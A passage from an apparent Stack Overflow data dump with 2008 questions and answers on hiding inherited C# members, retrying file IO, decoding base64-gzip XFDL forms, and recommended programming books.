here\n}\n</code></pre>\n\n<p>Becomes:</p>\n\n<pre><code>public class MyClass\n{\n private BaseClass baseClass;\n\n public void ExposeThisMethod()\n {\n baseClass.ExposeThisMethod();\n }\n}\n</code></pre>\n\n<p>Or:</p>\n\n<pre><code>public class MyClass\n{\n private BaseClass baseClass;\n\n public BaseClass BaseClass\n {\n get\n {\n return baseClass;\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 1556, "author": "caryden", "author_id": 313, "author_profile": "https://Stackoverflow.com/users/313", "pm_score": 6, "selected": true, "text": "<p>Override them like Michael Suggests <a href=\"https://stackoverflow.com/questions/1528/#1533\">above</a> and to prevent folks from using the overridden (sp?) methods, mark them as obsolete:</p>\n\n<pre><code>[Obsolete(\"These are not supported in this class.\", true)]\npublic override void dontcallmeanymore()\n{\n}\n</code></pre>\n\n<p>If the second parm is set to true, a compiler error will be generated if anyone tries to call that method and the string in the first parm is the message. If parm2 is false only a compiler warning will be generated.</p>\n" }, { "answer_id": 4392227, "author": "Nathan Wheeler", "author_id": 193939, "author_profile": "https://Stackoverflow.com/users/193939", "pm_score": 3, "selected": false, "text": "<p>I know there's been several answers to this, and it's quite old now, but the simplest method to do this is just declare them as <code>new private</code>.</p>\n\n<p>Consider an example I am currently working on, where I have an API that makes available every method in a 3rd party DLL. I have to take their methods, but I want to use a .Net property, instead of a \"getThisValue\" and \"setThisValue\" method. So, I build a second class, inherit the first, make a property that uses the get and set methods, and then override the original get and set methods as private. They're still available to anyone wanting to build something different on them, but if they just want to use the engine I'm building, then they'll be able to use properties instead of methods.</p>\n\n<p>Using the double class method gets rid of any restrictions on being unable to use the <code>new</code> declaration to hide the members. You simply can't use <code>override</code> if the members are marked as virtual.</p>\n\n<pre><code>public class APIClass\n{\n private static const string DllName = \"external.dll\";\n\n [DllImport(DllName)]\n public extern unsafe uint external_setSomething(int x, uint y);\n\n [DllImport(DllName)]\n public extern unsafe uint external_getSomething(int x, uint* y);\n\n public enum valueEnum\n {\n On = 0x01000000;\n Off = 0x00000000;\n OnWithOptions = 0x01010000;\n OffWithOptions = 0x00010000;\n }\n}\n\npublic class APIUsageClass : APIClass\n{\n public int Identifier;\n private APIClass m_internalInstance = new APIClass();\n\n public valueEnum Something\n {\n get\n {\n unsafe\n {\n valueEnum y;\n fixed (valueEnum* yPtr = &amp;y)\n {\n m_internalInstance.external_getSomething(Identifier, yPtr);\n }\n return y;\n }\n }\n set\n {\n m_internalInstance.external_setSomething(Identifier, value);\n }\n }\n\n new private uint external_setSomething(int x, float y) { return 0; }\n new private unsafe uint external_getSomething(int x, float* y) { return 0; }\n}\n</code></pre>\n\n<p>Now valueEnum is available to both classes, but only the property is visible in the APIUsageClass class. The APIClass class is still available for people who want to extend the original API or use it in a different way, and the APIUsageClass is available for those who want something more simple.</p>\n\n<p>Ultimately, what I'll be doing is making the APIClass internal, and only expose my inherited class.</p>\n" }, { "answer_id": 10717931, "author": "Pavel Jounda", "author_id": 1271344, "author_profile": "https://Stackoverflow.com/users/1271344", "pm_score": 1, "selected": false, "text": "<p>I tested all of the proposed solutions and they do not really hide new members.</p>\n\n<p>But this one DOES: </p>\n\n<pre><code>[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]\npublic new string MyHiddenProperty\n{ \n get { return _myHiddenProperty; }\n}\n</code></pre>\n\n<p>But in code-behide it's still accessible, so add as well Obsolete Attribute</p>\n\n<pre><code>[Obsolete(\"This property is not supported in this class\", true)]\n[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]\npublic new string MyHiddenProperty\n{ \n get { return _myHiddenProperty; }\n}\n</code></pre>\n" }, { "answer_id": 17283870, "author": "Robert", "author_id": 2164277, "author_profile": "https://Stackoverflow.com/users/2164277", "pm_score": 2, "selected": false, "text": "<p>To fully hide and mark not to use, including intellisense which I believe is what most readers expect</p>\n<pre><code>[Obsolete(&quot;Not applicable in this class.&quot;)] \n[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]\n[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]\n</code></pre>\n" }, { "answer_id": 47255529, "author": "acon", "author_id": 8930048, "author_profile": "https://Stackoverflow.com/users/8930048", "pm_score": 0, "selected": false, "text": "<p>You can use an interface</p>\n\n<pre><code> public static void Main()\n {\n NoRemoveList&lt;string&gt; testList = ListFactory&lt;string&gt;.NewList();\n\n testList.Add(\" this is ok \");\n\n // not ok\n //testList.RemoveAt(0);\n }\n\n public interface NoRemoveList&lt;T&gt;\n {\n T this[int index] { get; }\n int Count { get; }\n void Add(T item);\n }\n\n public class ListFactory&lt;T&gt;\n {\n private class HiddenList: List&lt;T&gt;, NoRemoveList&lt;T&gt;\n {\n // no access outside\n }\n\n public static NoRemoveList&lt;T&gt; NewList()\n {\n return new HiddenList();\n }\n }\n</code></pre>\n" }, { "answer_id": 58344418, "author": "Sam", "author_id": 11903389, "author_profile": "https://Stackoverflow.com/users/11903389", "pm_score": 1, "selected": false, "text": "<p>While clearly stated above that it is not possible in C# to change the access modifiers on inherited methods and properties, I overcame this issue through a sort of \"fake inheritance\" using implicit casting.</p>\n\n<p><strong>Example:</strong></p>\n\n<pre><code>public class A\n{\n int var1;\n int var2;\n\n public A(int var1, int var2)\n {\n this.var1 = var1;\n this.var2 = var2;\n }\n public void Method1(int i)\n {\n var1 = i;\n }\n public int Method2()\n {\n return var1+var2;\n }\n}\n</code></pre>\n\n<p>Now lets say you want a <code>class B</code> to inherit from <code>class A</code>, but want to change some accessibility or even change Method1 entirely</p>\n\n<pre><code>public class B\n{\n private A parent;\n\n public B(int var1, int var2)\n {\n parent = new A(var1, var2);\n } \n\n int var1 \n {\n get {return this.parent.var1;}\n }\n int var2 \n {\n get {return this.parent.var2;}\n set {this.parent.var2 = value;}\n }\n\n public Method1(int i)\n {\n this.parent.Method1(i*i);\n }\n private Method2()\n {\n this.parent.Method2();\n }\n\n\n public static implicit operator A(B b)\n {\n return b.parent;\n }\n}\n</code></pre>\n\n<p>By including the implicit cast at the end, it allows us to treat <code>B</code> objects as <code>A</code>s when we need to. It can also be useful to define an implicit cast from <code>A-&gt;B</code>.</p>\n\n<p>The biggest flaw to this approach is that you need to re-write every method/property that you intend to \"inherit\".\nThere's probably even more flaws to this approach, but I like to use it as a sort of \"fake inheritance\". </p>\n\n<p><strong>Note:</strong></p>\n\n<p>While this allows for changing the accessibility of <code>public</code> properties, it doesn't solve the issue of making <code>protected</code> properties public.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1528", "https://Stackoverflow.com", "https://Stackoverflow.com/users/93/" ]
I'm looking for some way to effectively hide inherited members. I have a library of classes which inherit from common base classes. Some of the more recent descendant classes inherit dependency properties which have become vestigial and can be a little confusing when using *IntelliSense* or using the classes in a visual designer. These classes are all controls that are written to be compiled for either WPF or Silverlight 2.0. I know about `ICustomTypeDescriptor` and `ICustomPropertyProvider`, but I'm pretty certain those can't be used in Silverlight. It's not as much a functional issue as a usability issue. What should I do? **Update** Some of the properties that I would really like to hide come from ancestors that are not my own and because of a specific tool I'm designing for, I can't do member hiding with the `new` operator. (I know, it's ridiculous)
Override them like Michael Suggests [above](https://stackoverflow.com/questions/1528/#1533) and to prevent folks from using the overridden (sp?) methods, mark them as obsolete: ``` [Obsolete("These are not supported in this class.", true)] public override void dontcallmeanymore() { } ``` If the second parm is set to true, a compiler error will be generated if anyone tries to call that method and the string in the first parm is the message. If parm2 is false only a compiler warning will be generated.
1,535
<p>I've never been completely happy with the way exception handling works, there's a lot exceptions and try/catch brings to the table (stack unwinding, etc.), but it seems to break a lot of the OO model in the process.</p> <p>Anyway, here's the problem:</p> <p>Let's say you have some class which wraps or includes networked file IO operations (e.g. reading and writing to some file at some particular UNC path somewhere). For various reasons you don't want those IO operations to fail, so if you detect that they fail you retry them and you keep retrying them until they succeed or you reach a timeout. I already have a convenient RetryTimer class which I can instantiate and use to sleep the current thread between retries and determine when the timeout period has elapsed, etc.</p> <p>The problem is that you have a bunch of IO operations in several methods of this class, and you need to wrap each of them in try-catch / retry logic.</p> <p>Here's an example code snippet:</p> <pre><code>RetryTimer fileIORetryTimer = new RetryTimer(TimeSpan.FromHours(10)); bool success = false; while (!success) { try { // do some file IO which may succeed or fail success = true; } catch (IOException e) { if (fileIORetryTimer.HasExceededRetryTimeout) { throw e; } fileIORetryTimer.SleepUntilNextRetry(); } } </code></pre> <p>So, how do you avoid duplicating most of this code for every file IO operation throughout the class? My solution was to use anonymous delegate blocks and a single method in the class which executed the delegate block passed to it. This allowed me to do things like this in other methods:</p> <pre><code>this.RetryFileIO( delegate() { // some code block } ); </code></pre> <p>I like this somewhat, but it leaves a lot to be desired. I'd like to hear how other people would solve this sort of problem.</p>
[ { "answer_id": 1554, "author": "Chris Marasti-Georg", "author_id": 96, "author_profile": "https://Stackoverflow.com/users/96", "pm_score": 2, "selected": false, "text": "<p>Just wondering, what do you feel your method leaves to be desired? You could replace the anonymous delegate with a.. named? delegate, something like</p>\n\n<pre><code> public delegate void IoOperation(params string[] parameters);\n\n public void FileDeleteOperation(params string[] fileName)\n {\n File.Delete(fileName[0]);\n }\n\n public void FileCopyOperation(params string[] fileNames)\n {\n File.Copy(fileNames[0], fileNames[1]);\n }\n\n public void RetryFileIO(IoOperation operation, params string[] parameters)\n {\n RetryTimer fileIORetryTimer = new RetryTimer(TimeSpan.FromHours(10));\n bool success = false;\n while (!success)\n {\n try\n {\n operation(parameters);\n success = true;\n }\n catch (IOException e)\n {\n if (fileIORetryTimer.HasExceededRetryTimeout)\n {\n throw;\n }\n fileIORetryTimer.SleepUntilNextRetry();\n }\n }\n }\n\n public void Foo()\n {\n this.RetryFileIO(FileDeleteOperation, \"L:\\file.to.delete\" );\n this.RetryFileIO(FileCopyOperation, \"L:\\file.to.copy.source\", \"L:\\file.to.copy.destination\" );\n }\n</code></pre>\n" }, { "answer_id": 2047, "author": "Mike Minutillo", "author_id": 358, "author_profile": "https://Stackoverflow.com/users/358", "pm_score": 5, "selected": true, "text": "<p>This looks like an excellent opportunity to have a look at Aspect Oriented Programming. Here is a good article on <a href=\"https://learn.microsoft.com/en-us/archive/blogs/simonince/aspect-oriented-interception\" rel=\"nofollow noreferrer\">AOP in .NET</a>. The general idea is that you'd extract the cross-functional concern (i.e. Retry for x hours) into a separate class and then you'd annotate any methods that need to modify their behaviour in that way. Here's how it might look (with a nice extension method on Int32)</p>\n<pre><code>[RetryFor( 10.Hours() )]\npublic void DeleteArchive()\n{\n //.. code to just delete the archive\n}\n</code></pre>\n" }, { "answer_id": 4601, "author": "Andrew Peters", "author_id": 608, "author_profile": "https://Stackoverflow.com/users/608", "pm_score": 2, "selected": false, "text": "<p>You could also use a more OO approach:</p>\n\n<ul>\n<li>Create a base class that does the error handling and calls an abstract method to perform the concrete work. (Template Method pattern)</li>\n<li>Create concrete classes for each operation.</li>\n</ul>\n\n<p>This has the advantage of naming each type of operation you perform and gives you a Command pattern - operations have been represented as objects.</p>\n" }, { "answer_id": 3697548, "author": "Andrej Kyselica", "author_id": 435024, "author_profile": "https://Stackoverflow.com/users/435024", "pm_score": 2, "selected": false, "text": "<p>Here's what I did recently. It has probably been done elsewhere better, but it seems pretty clean and reusable.</p>\n\n<p>I have a utility method that looks like this:</p>\n\n<pre><code> public delegate void WorkMethod();\n\n static public void DoAndRetry(WorkMethod wm, int maxRetries)\n {\n int curRetries = 0;\n do\n {\n try\n {\n wm.Invoke();\n return;\n }\n catch (Exception e)\n {\n curRetries++;\n if (curRetries &gt; maxRetries)\n {\n throw new Exception(\"Maximum retries reached\", e);\n }\n }\n } while (true);\n }\n</code></pre>\n\n<p>Then in my application, I use c#'s Lamda expression syntax to keep things tidy:</p>\n\n<pre><code>Utility.DoAndRetry( () =&gt; ie.GoTo(url), 5);\n</code></pre>\n\n<p>This calls my method and retries up to 5 times. At the fifth attempt, the original exception is rethrown inside of a retry exception.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1535", "https://Stackoverflow.com", "https://Stackoverflow.com/users/332/" ]
I've never been completely happy with the way exception handling works, there's a lot exceptions and try/catch brings to the table (stack unwinding, etc.), but it seems to break a lot of the OO model in the process. Anyway, here's the problem: Let's say you have some class which wraps or includes networked file IO operations (e.g. reading and writing to some file at some particular UNC path somewhere). For various reasons you don't want those IO operations to fail, so if you detect that they fail you retry them and you keep retrying them until they succeed or you reach a timeout. I already have a convenient RetryTimer class which I can instantiate and use to sleep the current thread between retries and determine when the timeout period has elapsed, etc. The problem is that you have a bunch of IO operations in several methods of this class, and you need to wrap each of them in try-catch / retry logic. Here's an example code snippet: ``` RetryTimer fileIORetryTimer = new RetryTimer(TimeSpan.FromHours(10)); bool success = false; while (!success) { try { // do some file IO which may succeed or fail success = true; } catch (IOException e) { if (fileIORetryTimer.HasExceededRetryTimeout) { throw e; } fileIORetryTimer.SleepUntilNextRetry(); } } ``` So, how do you avoid duplicating most of this code for every file IO operation throughout the class? My solution was to use anonymous delegate blocks and a single method in the class which executed the delegate block passed to it. This allowed me to do things like this in other methods: ``` this.RetryFileIO( delegate() { // some code block } ); ``` I like this somewhat, but it leaves a lot to be desired. I'd like to hear how other people would solve this sort of problem.
This looks like an excellent opportunity to have a look at Aspect Oriented Programming. Here is a good article on [AOP in .NET](https://learn.microsoft.com/en-us/archive/blogs/simonince/aspect-oriented-interception). The general idea is that you'd extract the cross-functional concern (i.e. Retry for x hours) into a separate class and then you'd annotate any methods that need to modify their behaviour in that way. Here's how it might look (with a nice extension method on Int32) ``` [RetryFor( 10.Hours() )] public void DeleteArchive() { //.. code to just delete the archive } ```
1,615
<p>The <code>.XFDL</code> file extension identifies <code>XFDL</code> Formatted Document files. These belong to the XML-based document and template formatting standard. This format is exactly like the XML file format however, contains a level of encryption for use in secure communications.</p> <p>I know how to view XFDL files using a file viewer I found <a href="http://web.archive.org/web/20170903022252/http://www.e-publishing.af.mil:80/viewerdownload.asp" rel="nofollow noreferrer">here</a>. I can also modify and save these files by doing File:Save/Save As. I'd like, however, to modify these files on the fly. Any suggestions? Is this even possible?</p> <p>Update #1: I have now successfully decoded and unziped a <code>.xfdl</code> into an XML file which I can then edit. Now, I am looking for a way to re-encode the modified XML file back into base64-gzip (using Ruby or the command line)</p>
[ { "answer_id": 1628, "author": "saniul", "author_id": 52, "author_profile": "https://Stackoverflow.com/users/52", "pm_score": 4, "selected": true, "text": "<p>If the encoding is <strong>base64</strong> then this is the solution I've stumbled upon on the web:</p>\n\n<p>\"Decoding XDFL files saved with 'encoding=base64'.\nFiles saved with: </p>\n\n<pre><code>application/vnd.xfdl;content-encoding=\"base64-gzip\"\n</code></pre>\n\n<p>are simple base64-encoded gzip files. They can be easily restored to XML by first decoding and then unzipping them. This can be done as follows on Ubuntu:</p>\n\n<pre><code>sudo apt-get install uudeview\nuudeview -i yourform.xfdl\ngunzip -S \"\" &lt; UNKNOWN.001 &gt; yourform-unpacked.xfdl \n</code></pre>\n\n<p>The first command will install uudeview, a package that can decode base64, among others. You can skip this step once it is installed.</p>\n\n<p>Assuming your form is saved as 'yourform.xfdl', the uudeview command will decode the contents as 'UNKNOWN.001', since the xfdl file doesn't contain a file name. The '-i' option makes uudeview uninteractive, remove that option for more control.</p>\n\n<p>The last command gunzips the decoded file into a file named 'yourform-unpacked.xfdl'.</p>\n\n<p><strong>Another</strong> possible solution - <a href=\"http://www.chilkatsoft.com/p/p_531.asp\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p><em>Side Note: Block quoted &lt; code > doesn't work for long strings of code</em></p>\n" }, { "answer_id": 1647, "author": "saniul", "author_id": 52, "author_profile": "https://Stackoverflow.com/users/52", "pm_score": 2, "selected": false, "text": "<p>The only answer I can think of right now is - read the manual for uudeview.</p>\n\n<p>As much as I would like to help you, I am not an expert in this area, so you'll have to wait for someone more knowledgable to come down here and help you.</p>\n\n<p>Meanwhile I can give you links to some documents that might help you:</p>\n\n<ul>\n<li><a href=\"http://www.fpx.de/fp/Software/UUDeview/\" rel=\"nofollow noreferrer\">UUDeview Home Page</a></li>\n<li><a href=\"http://xdflengine.sourceforge.net/doc_1037.html\" rel=\"nofollow noreferrer\">Using XDFLengine</a></li>\n<li><a href=\"http://xdflengine.sourceforge.net/doc_1044.pdf\" rel=\"nofollow noreferrer\">Gettting started with the XDFL Engine</a></li>\n</ul>\n\n<p>Sorry if this doesn't help you.</p>\n" }, { "answer_id": 3375, "author": "Federico Builes", "author_id": 161, "author_profile": "https://Stackoverflow.com/users/161", "pm_score": 1, "selected": false, "text": "<p>You don't have to get out of Ruby to do this, can use the Base64 module in Ruby to encode the document like this:</p>\n\n<pre><code>irb(main):005:0&gt; require 'base64'\n=&gt; true\n\nirb(main):007:0&gt; Base64.encode64(\"Hello World\")\n=&gt; \"SGVsbG8gV29ybGQ=\\n\"\n\nirb(main):008:0&gt; Base64.decode64(\"SGVsbG8gV29ybGQ=\\n\")\n=&gt; \"Hello World\"\n</code></pre>\n\n<p>And you can call gzip/gunzip using Kernel#system:</p>\n\n<pre><code>system(\"gzip foo.something\")\nsystem(\"gunzip foo.something.gz\")\n</code></pre>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1615", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25/" ]
The `.XFDL` file extension identifies `XFDL` Formatted Document files. These belong to the XML-based document and template formatting standard. This format is exactly like the XML file format however, contains a level of encryption for use in secure communications. I know how to view XFDL files using a file viewer I found [here](http://web.archive.org/web/20170903022252/http://www.e-publishing.af.mil:80/viewerdownload.asp). I can also modify and save these files by doing File:Save/Save As. I'd like, however, to modify these files on the fly. Any suggestions? Is this even possible? Update #1: I have now successfully decoded and unziped a `.xfdl` into an XML file which I can then edit. Now, I am looking for a way to re-encode the modified XML file back into base64-gzip (using Ruby or the command line)
If the encoding is **base64** then this is the solution I've stumbled upon on the web: "Decoding XDFL files saved with 'encoding=base64'. Files saved with: ``` application/vnd.xfdl;content-encoding="base64-gzip" ``` are simple base64-encoded gzip files. They can be easily restored to XML by first decoding and then unzipping them. This can be done as follows on Ubuntu: ``` sudo apt-get install uudeview uudeview -i yourform.xfdl gunzip -S "" < UNKNOWN.001 > yourform-unpacked.xfdl ``` The first command will install uudeview, a package that can decode base64, among others. You can skip this step once it is installed. Assuming your form is saved as 'yourform.xfdl', the uudeview command will decode the contents as 'UNKNOWN.001', since the xfdl file doesn't contain a file name. The '-i' option makes uudeview uninteractive, remove that option for more control. The last command gunzips the decoded file into a file named 'yourform-unpacked.xfdl'. **Another** possible solution - [here](http://www.chilkatsoft.com/p/p_531.asp) *Side Note: Block quoted < code > doesn't work for long strings of code*
1,711
<p>If you could go back in time and tell yourself to read a specific book at the beginning of your career as a developer, which book would it be?</p> <p>I expect this list to be varied and to cover a wide range of things.</p> <p><strong>To search:</strong> Use the search box in the upper-right corner. To search the answers of the current question, use <code>inquestion:this</code>. For example:</p> <pre><code>inquestion:this "Code Complete" </code></pre>
[ { "answer_id": 1713, "author": "Justin Standard", "author_id": 92, "author_profile": "https://Stackoverflow.com/users/92", "pm_score": 11, "selected": false, "text": "<ul>\n<li><em>Code Complete</em> (2nd edition) by Steve McConnell</li>\n<li><em>The Pragmatic Programmer</em></li>\n<li><em>Structure and Interpretation of Computer Programs</em></li>\n<li><em>The C Programming Language</em> by Kernighan and Ritchie</li>\n<li><em>Introduction to Algorithms</em> by Cormen, Leiserson, Rivest &amp; Stein</li>\n<li><em>Design Patterns</em> by the Gang of Four</li>\n<li><em>Refactoring: Improving the Design of Existing Code</em></li>\n<li><em>The Mythical Man Month</em></li>\n<li><em>The Art of Computer Programming</em> by Donald Knuth</li>\n<li><em>Compilers: Principles, Techniques and Tools</em> by Alfred V. Aho, Ravi Sethi and Jeffrey D. Ullman</li>\n<li><em>Gödel, Escher, Bach</em> by Douglas Hofstadter</li>\n<li><em>Clean Code: A Handbook of Agile Software Craftsmanship</em> by Robert C. Martin</li>\n<li><em>Effective C++</em></li>\n<li><em>More Effective C++</em></li>\n<li><em>CODE</em> by Charles Petzold</li>\n<li><em>Programming Pearls</em> by Jon Bentley</li>\n<li><em>Working Effectively with Legacy Code</em> by Michael C. Feathers</li>\n<li><em>Peopleware</em> by Demarco and Lister</li>\n<li><em>Coders at Work</em> by Peter Seibel</li>\n<li><em>Surely You're Joking, Mr. Feynman!</em></li>\n<li><em>Effective Java</em> 2nd edition</li>\n<li><em>Patterns of Enterprise Application Architecture</em> by Martin Fowler</li>\n<li><em>The Little Schemer</em></li>\n<li><em>The Seasoned Schemer</em></li>\n<li><em>Why's (Poignant) Guide to Ruby</em></li>\n<li><em>The Inmates Are Running The Asylum: Why High Tech Products Drive Us Crazy and How to Restore the Sanity</em></li>\n<li><em>The Art of Unix Programming</em></li>\n<li><em>Test-Driven Development: By Example</em> by Kent Beck</li>\n<li><em>Practices of an Agile Developer</em></li>\n<li><em>Don't Make Me Think</em></li>\n<li><em>Agile Software Development, Principles, Patterns, and Practices</em> by Robert C. Martin</li>\n<li><em>Domain Driven Designs</em> by Eric Evans</li>\n<li><em>The Design of Everyday Things</em> by Donald Norman</li>\n<li><em>Modern C++ Design</em> by Andrei Alexandrescu</li>\n<li><em>Best Software Writing I</em> by Joel Spolsky</li>\n<li><em>The Practice of Programming</em> by Kernighan and Pike</li>\n<li><em>Pragmatic Thinking and Learning: Refactor Your Wetware</em> by Andy Hunt</li>\n<li><em>Software Estimation: Demystifying the Black Art</em> by Steve McConnel</li>\n<li><em>The Passionate Programmer (My Job Went To India)</em> by Chad Fowler</li>\n<li><em>Hackers: Heroes of the Computer Revolution</em></li>\n<li><em>Algorithms + Data Structures = Programs</em></li>\n<li><em>Writing Solid Code</em></li>\n<li><em>JavaScript - The Good Parts</em></li>\n<li><em>Getting Real</em> by 37 Signals</li>\n<li><em>Foundations of Programming</em> by Karl Seguin</li>\n<li><em>Computer Graphics: Principles and Practice in C</em> (2nd Edition)</li>\n<li><em>Thinking in Java</em> by Bruce Eckel</li>\n<li><em>The Elements of Computing Systems</em></li>\n<li><em>Refactoring to Patterns</em> by Joshua Kerievsky</li>\n<li><em>Modern Operating Systems</em> by Andrew S. Tanenbaum</li>\n<li><em>The Annotated Turing</em></li>\n<li><em>Things That Make Us Smart</em> by Donald Norman</li>\n<li><em>The Timeless Way of Building</em> by Christopher Alexander</li>\n<li><em>The Deadline: A Novel About Project Management</em> by Tom DeMarco</li>\n<li><em>The C++ Programming Language (3rd edition)</em> by Stroustrup</li>\n<li><em>Patterns of Enterprise Application Architecture</em></li>\n<li><em>Computer Systems - A Programmer's Perspective</em></li>\n<li><em>Agile Principles, Patterns, and Practices in C#</em> by Robert C. Martin</li>\n<li><em>Growing Object-Oriented Software, Guided</em> by Tests</li>\n<li><em>Framework Design Guidelines</em> by Brad Abrams</li>\n<li><em>Object Thinking</em> by Dr. David West</li>\n<li><em>Advanced Programming in the UNIX Environment</em> by W. Richard Stevens</li>\n<li><em>Hackers and Painters: Big Ideas from the Computer Age</em></li>\n<li><em>The Soul of a New Machine</em> by Tracy Kidder</li>\n<li><em>CLR via C#</em> by Jeffrey Richter</li>\n<li><em>The Timeless Way of Building</em> by Christopher Alexander</li>\n<li><em>Design Patterns in C#</em> by Steve Metsker</li>\n<li><em>Alice in Wonderland</em> by Lewis Carol</li>\n<li><em>Zen and the Art of Motorcycle Maintenance</em> by Robert M. Pirsig</li>\n<li><em>About Face - The Essentials of Interaction Design</em></li>\n<li><em>Here Comes Everybody: The Power of Organizing Without Organizations</em> by Clay Shirky</li>\n<li><em>The Tao of Programming</em></li>\n<li><em>Computational Beauty of Nature</em></li>\n<li><em>Writing Solid Code</em> by Steve Maguire</li>\n<li><em>Philip and Alex's Guide to Web Publishing</em></li>\n<li><em>Object-Oriented Analysis and Design with Applications</em> by Grady Booch</li>\n<li><em>Effective Java</em> by Joshua Bloch</li>\n<li><em>Computability</em> by N. J. Cutland</li>\n<li><em>Masterminds of Programming</em></li>\n<li><em>The Tao Te Ching</em></li>\n<li><em>The Productive Programmer</em></li>\n<li><em>The Art of Deception</em> by Kevin Mitnick</li>\n<li><em>The Career Programmer: Guerilla Tactics for an Imperfect World</em> by Christopher Duncan</li>\n<li><em>Paradigms of Artificial Intelligence Programming: Case studies in Common Lisp</em></li>\n<li><em>Masters of Doom</em></li>\n<li><em>Pragmatic Unit Testing in C# with NUnit</em> by Andy Hunt and Dave Thomas with Matt Hargett</li>\n<li><em>How To Solve It</em> by George Polya</li>\n<li><em>The Alchemist</em> by Paulo Coelho</li>\n<li><em>Smalltalk-80: The Language and its Implementation</em></li>\n<li><em>Writing Secure Code</em> (2nd Edition) by Michael Howard</li>\n<li><em>Introduction to Functional Programming</em> by Philip Wadler and Richard Bird</li>\n<li><em>No Bugs!</em> by David Thielen </li>\n<li><em>Rework</em> by Jason Freid and DHH</li>\n<li><em>JUnit in Action</em></li>\n</ul>\n" }, { "answer_id": 1788, "author": "nlucaroni", "author_id": 157, "author_profile": "https://Stackoverflow.com/users/157", "pm_score": 3, "selected": false, "text": "<p>@Peter Coulton -- you don't read Knuth, you study it.</p>\n\n<p>For me, and my work... <em>Purely Functional Data Structures</em> is great for thinking and developing with functional languages in mind.</p>\n" }, { "answer_id": 2602, "author": "Mario Marinato", "author_id": 431, "author_profile": "https://Stackoverflow.com/users/431", "pm_score": 2, "selected": false, "text": "<p>Code Complete is the number one choice, but I'd also cite Gang of Four's Design Patterns and Craig Larman's Applying UML and Patterns.</p>\n\n<p>The Timeless Way of Building, by Christopher Alexander, is another great one. Even though it's about archtecture, it's included in the bibliography of many great programming books I have already read.</p>\n\n<p>Another one, from which I'm learning lots of new things, is Data Access Patterns, by Clifton Nock.</p>\n" }, { "answer_id": 8349, "author": "bruceatk", "author_id": 791, "author_profile": "https://Stackoverflow.com/users/791", "pm_score": 3, "selected": false, "text": "<p>I've been arounda while, so most books that I have found influential don't necessarily apply today. I do believe it is universally important to understand the platform that you are developing for (both hardware and OS). I also think it's important to learn from other peoples mistakes. So two books I would recommend are:</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0130828629\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Computing Calamities</a> and <a href=\"https://rads.stackoverflow.com/amzn/click/com/1590597214\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">In Search of Stupidity: Over Twenty Years of High Tech Marketing Disasters</a></p>\n" }, { "answer_id": 20969, "author": "Nate Smith", "author_id": 1238, "author_profile": "https://Stackoverflow.com/users/1238", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.pragprog.com/the-pragmatic-programmer\" rel=\"nofollow noreferrer\">The Pragmatic Programmer: From Journeyman to Master</a> without a doubt. The advice in it is so well presented, and simple, that it comes across as if it was 'The Common Sense Programmer'. Love it.</p>\n" }, { "answer_id": 20977, "author": "Michał Piaskowski", "author_id": 1534, "author_profile": "https://Stackoverflow.com/users/1534", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/020161622X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Pragmatic Programmer</a></p>\n" }, { "answer_id": 20987, "author": "Jason Bunting", "author_id": 1790, "author_profile": "https://Stackoverflow.com/users/1790", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0131103628\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">K&amp;R</a></p>\n\n<p>@Juan: I know Juan, I know - but there are some things that can only be learned by actually getting down to the task at hand. Speaking in abstract ideals all day simply makes you into an academic. It's in the application of the abstract that we truly grok the reason for their existence. :P</p>\n\n<p>@Keith: Great mention of \"The Inmates are Running the Asylum\" by Alan Cooper - an eye opener for certain, any developer that has worked with me since I read that book has heard me mention the ideas it espouses. +1</p>\n" }, { "answer_id": 21002, "author": "Loren Charnley", "author_id": 2346, "author_profile": "https://Stackoverflow.com/users/2346", "pm_score": 3, "selected": false, "text": "<p>The Mythical Man-Month by Fred Brooks\n<a href=\"http://en.wikipedia.org/wiki/The_Mythical_Man-Month\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/The_Mythical_Man-Month</a></p>\n" }, { "answer_id": 21006, "author": "Kibbee", "author_id": 1862, "author_profile": "https://Stackoverflow.com/users/1862", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0596528124\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Mastering Regular Expressions</a></p>\n" }, { "answer_id": 21029, "author": "Mark Biek", "author_id": 305, "author_profile": "https://Stackoverflow.com/users/305", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201485672\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Refactoring</a></p>\n" }, { "answer_id": 21032, "author": "Lee", "author_id": 1954, "author_profile": "https://Stackoverflow.com/users/1954", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0131177052\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Working Effectively with Legacy Code</a> is a really amazing book that goes into great detail about how to properly unit test your code and what the true benefit of it is. It really opened my eyes.</p>\n" }, { "answer_id": 21033, "author": "Johnno Nolan", "author_id": 1116, "author_profile": "https://Stackoverflow.com/users/1116", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201485672\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Refactoring</a></p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0321127420\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Patterns of Enterprise Application Architecture</a></p>\n" }, { "answer_id": 21161, "author": "JosephStyons", "author_id": 672, "author_profile": 